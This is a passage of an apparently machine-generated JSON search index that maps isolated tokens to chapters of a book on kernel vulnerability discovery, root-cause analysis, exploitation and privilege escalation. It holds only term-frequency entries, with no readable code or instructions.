":{}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},"+":{"0":{"docs":{},"x":{"7":{"5":{"docs":{},"/":{"0":{"docs":{},"x":{"docs":{},"a":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}},"c":{"docs":{},"_":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"7":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"i":{"docs":{},"n":{"docs":{},"e":{"1":{"docs":{},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"1":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}},"3":{"docs":{},"(":{"docs":{},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"v":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"4":{"docs":{},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}},"docs":{}}}}}}}}}}}}},"z":{"docs":{},"b":{"docs":{},"o":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.009615384615384616}}}}}},"m":{"docs":{},"b":{"docs":{},"o":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"a":{"docs":{},"s":{"docs":{},"_":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"v":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"d":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"_":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"6":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}},"f":{"docs":{},"e":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"n":{"docs":{},"d":{"docs":{},"b":{"docs":{},"o":{"docs":{},"x":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"m":{"docs":{},"e":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"c":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"t":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"/":{"docs":{},"g":{"docs":{},"a":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"h":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"c":{"docs":{},"l":{"docs":{},"a":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{},"b":{"docs":{},"u":{"docs":{},"t":{"docs":{},"e":{"docs":{},"s":{"docs":{},"_":{"docs":{},"t":{"docs":{},"o":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"a":{"docs":{},"d":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}}}}}}}}},"d":{"docs":{},"l":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"m":{"docs":{},"i":{"docs":{},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}},"p":{"docs":{},"s":{"docs":{},"i":{"docs":{},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"k":{"docs":{},"e":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"k":{"docs":{},"e":{"docs":{},"u":{"docs":{},"p":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}},"t":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"u":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}},"e":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},"=":{"docs":{},"u":{"docs":{},":":{"docs":{},"r":{"docs":{},":":{"docs":{},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{},":":{"docs":{},"s":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}},"docs":{}}}}}}},"t":{"docs":{},"o":{"docs":{},"o":{"docs":{},"l":{"docs":{},"b":{"docs":{},"o":{"docs":{},"x":{"docs":{},":":{"docs":{},"s":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"docs":{}}}}}}}}}}}}}}}}}}}},"p":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003920470456454775}}}}},"r":{"docs":{},"i":{"docs":{},"p":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":3.3371356147021545},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"i":{"docs":{},"b":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"g":{"docs":{},"c":{"docs":{},"h":{"docs":{},"l":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"h":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"t":{"docs":{},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"n":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"i":{"docs":{},"f":{"docs":{},"i":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"p":{"docs":{},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"u":{"docs":{},"r":{"docs":{},"n":{"docs":{},"(":{"docs":{},")":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"z":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"o":{"docs":{},"f":{"docs":{},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}}}}},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},"b":{"docs":{},"u":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"docs":{},"r":{"docs":{},")":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}},"f":{"docs":{},"i":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"t":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}}},"j":{"docs":{},"u":{"docs":{},"n":{"docs":{},"k":{"docs":{},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"t":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"m":{"docs":{},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"g":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"m":{"docs":{},"p":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"i":{"docs":{},"f":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}}}}}}},"n":{"docs":{},"g":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"k":{"docs":{},"i":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"p":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"l":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"b":{"docs":{},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"h":{"docs":{},"o":{"docs":{},"o":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"h":{"docs":{},"o":{"docs":{},"o":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"e":{"docs":{},"p":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},"e":{"docs":{},"p":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"(":{"2":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"docs":{}}}}},"u":{"docs":{},"b":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"w":{"docs":{},"a":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"i":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"m":{"docs":{},"p":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"a":{"docs":{},"c":{"docs":{},"q":{"docs":{},"u":{"docs":{},"i":{"docs":{},"r":{"docs":{},"e":{"docs":{},"(":{"docs":{},"&":{"docs":{},"p":{"docs":{},"w":{"docs":{},"q":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"n":{"docs":{},"a":{"docs":{},"p":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003920470456454775}}}}}}}}},"v":{"docs":{},"u":{"docs":{},"l":{"docs":{},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{"./":{"ref":"./","tf":0.05},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":5.012820512820513},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":5.0028985507246375},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"a":{"docs":{},"b":{"docs":{},"i":{"docs":{},"l":{"docs":{},"i":{"docs":{},"t":{"docs":{},"y":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003080369644357323}},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"s":{"docs":{},"(":{"docs":{},"n":{"docs":{},"e":{"docs":{},"w":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"o":{"docs":{},"l":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"e":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},")":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.001